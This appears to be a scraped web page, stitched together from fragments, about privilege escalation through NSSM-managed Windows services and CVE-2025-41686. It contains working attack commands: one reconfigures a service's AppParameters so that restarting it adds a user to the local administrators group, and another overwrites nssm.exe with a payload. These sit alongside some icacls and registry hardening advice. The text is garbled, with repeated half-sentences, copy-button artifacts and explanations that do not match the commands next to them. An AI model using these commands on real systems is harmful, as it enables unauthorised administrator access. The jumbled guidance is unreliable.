Nssm224 Privilege Escalation Updated Here

nssm.exe set VulnService AppParameters "cmd.exe /c net localgroup administrators domainuser /add" nssm.exe restart VulnService

Alternatively, if the registry parameters are writable, they modify the NSSM application path:

icacls "C:\YourServiceFolder" /inheritance:d icacls "C:\YourServiceFolder" /remove "Users" icacls "C:\YourServiceFolder" /grant:r "Users":(RX) Use code with caution. 2. Secure the Windows Registry nssm224 privilege escalation updated

These older vulnerabilities prove that the core issue — insecure file permissions on NSSM‑managed services — has persisted for nearly a decade, across multiple vendors and products. CVE‑2025‑41686 is simply the latest and most widespread instance of this class of vulnerability.

: Ensure all service paths are properly quoted in the Windows Registry under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services . CVE‑2025‑41686 is simply the latest and most widespread

copy malicious_payload.exe nssm.exe /Y

Use icacls to check if your user has write access to the service binary. icacls "C:\Path\To\Service\Binary.exe" Use code with caution. Copied to clipboard icacls "C:\Path\To\Service\Binary

If an attacker can modify the ImagePath or Application parameter of an existing NSSM-managed service (or create a new one), they can execute arbitrary commands as SYSTEM or LOCAL SERVICE (depending on the service’s configured account).